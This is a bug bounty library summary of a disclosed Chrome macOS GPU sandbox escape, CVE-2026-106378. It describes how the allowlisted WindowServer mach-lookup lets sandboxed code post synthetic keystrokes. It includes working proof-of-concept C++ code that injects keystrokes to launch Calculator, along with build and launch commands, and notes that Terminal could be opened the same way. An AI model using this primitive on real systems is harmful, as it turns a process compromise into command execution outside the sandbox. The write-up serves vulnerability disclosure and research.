# CVE-2026-106378: Chrome GPU Sandbox Escape to RCE

Chrome's macOS GPU sandbox allowed WindowServer mach-lookup, letting sandboxed GPU code inject synthetic keystrokes via CGSPostKeyboardEvent to launch apps outside the sandbox.

- Payout: Research
- Severity: high
- Program: Google
- Write-up by: PWNAI Research
- Disclosed: 2026-10-30
- CVE: CVE-2026-106378
- Write-up quality: 8/10
- Original: https://pwn.ai/blog/chrome-escape
- Library page: https://bugbountylibrary.com/r/blog%3Apwn-ai-blog-chrome-escape
- Tags: area:os domain:desktop impact:privesc impact:rce kind:research platform:research sev:high tech:chromium technique:reverse-engineering technique:source-review vuln:rce vuln:sandbox-escape

**Target:** macOS GPU process Seatbelt sandbox / WindowServer Mach service
**Root cause:** The GPU sandbox profile allowlisted mach-lookup of com.apple.windowserver.active for graphics, but Seatbelt only gates the service lookup, not which WindowServer operations (e.g. CGSPostKeyboardEvent) the connected client may perform.
**Steps:**
1. Inspect gpu.sb and note `(global-name "com.apple.windowserver.active")` in the mach-lookup allowlist.
2. From inside the sandboxed GPU helper, call `bootstrap_look_up(bootstrap_port, "com.apple.windowserver.active", &port)`; returns KERN_SUCCESS.
3. Enumerate private exports in CoreGraphics.tbd and SkyLight.tbd for `_CGSMainConnectionID`, `_CGSPostKeyboardEvent`, `_SLPreflightPostEventAccess`.
4. dlopen SkyLight.framework and dlsym `CGSMainConnectionID` and `CGSPostKeyboardEvent`.
5. Patch gpu_main.cc to call the PoC after InitializeAndStartSandbox()/PostSandboxInitialized()/HangWatcher startup.
6. Send `post(c, 0, keycode, 1, 0, 0)` / `post(c, 0, keycode, 0, 0, 0)` for Command+Space then type Calculator and Return.
7. Build with `autoninja -C out/Default chrome` and launch `out/Default/chrome --no-first-run --user-data-dir=/tmp/gpu-poc 'data:text/html,<h1>PoC</h1>'`.
**How found:** Noticed the WindowServer mach-lookup exception in the GPU Seatbelt profile and reasoned that Seatbelt gates only the lookup, not post-connection operations; then mined .tbd stub exports for private CGS/SL event-posting symbols and tested them from inside the live sandbox.
**Exploitation:** With native code execution in the GPU helper, the attacker opens a WindowServer connection and posts synthetic keyboard events (Command+Space, then 'Calculator', Return) that Spotlight processes, causing launchd to spawn Calculator outside the sandbox; the same primitive could open Terminal and run commands, achieving RCE.
**Escalation:** Keystroke injection into the user's desktop session escalates a GPU-process compromise to arbitrary application launch and command execution outside the sandbox.
**Insight:** Sandbox profiles that allowlist a Mach service for one purpose (graphics) often expose the service's full client API; enumerate private framework .tbd exports for event-posting/authorization symbols and test them from inside the real sandboxed child, since bootstrap_look_up success does not imply operation-level authorization.

## Proof of concept (copied exactly from the original report)

**GPU helper keystroke injection PoC code**

```
void RunWindowServerPoC() {
 void* skylight = dlopen(
 "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
 RTLD_LAZY);
 if (!skylight) return;

 auto connection = reinterpret_cast<MainConnection>(
 dlsym(skylight, "CGSMainConnectionID"));
 auto post = reinterpret_cast<PostKeyboardEvent>(
 dlsym(skylight, "CGSPostKeyboardEvent"));
 if (!connection || !post) return;

 CGSConnectionID c = connection();
 if (!c) return;

 auto down = [&](unsigned short code) { post(c, 0, code, 1, 0, 0); };
 auto up = [&](unsigned short code) { post(c, 0, code, 0, 0, 0); };

 sleep(4);
 down(55); // Command
 usleep(20000);
 down(49); // Space: open Spotlight
 usleep(20000);
 up(49);
 usleep(20000);
 up(55);
 usleep(800000);

 // "Calculator" on a US keyboard layout.
 const unsigned short keys[] = {8, 0, 37, 8, 32, 37, 0, 17, 31, 15};
 for (auto code : keys) {
 down(code);
 usleep(15000);
 up(code);
 usleep(25000);
 }
 usleep(800000);
 down(36); // Return
 usleep(20000);
 up(36);
}
```

**Sandboxed WindowServer Mach lookup check**

```
mach_port_t port = MACH_PORT_NULL;
kern_return_t kr = bootstrap_look_up(
 bootstrap_port, "com.apple.windowserver.active", &port);
// kr == KERN_SUCCESS in the sandboxed GPU process
```

**Build and launch patched Chrome PoC**

```
autoninja -C out/Default chrome
killall Calculator 2>/dev/null || true
out/Default/chrome --no-first-run --user-data-dir=/tmp/gpu-poc \
 'data:text/html,<h1>PoC</h1>'
```

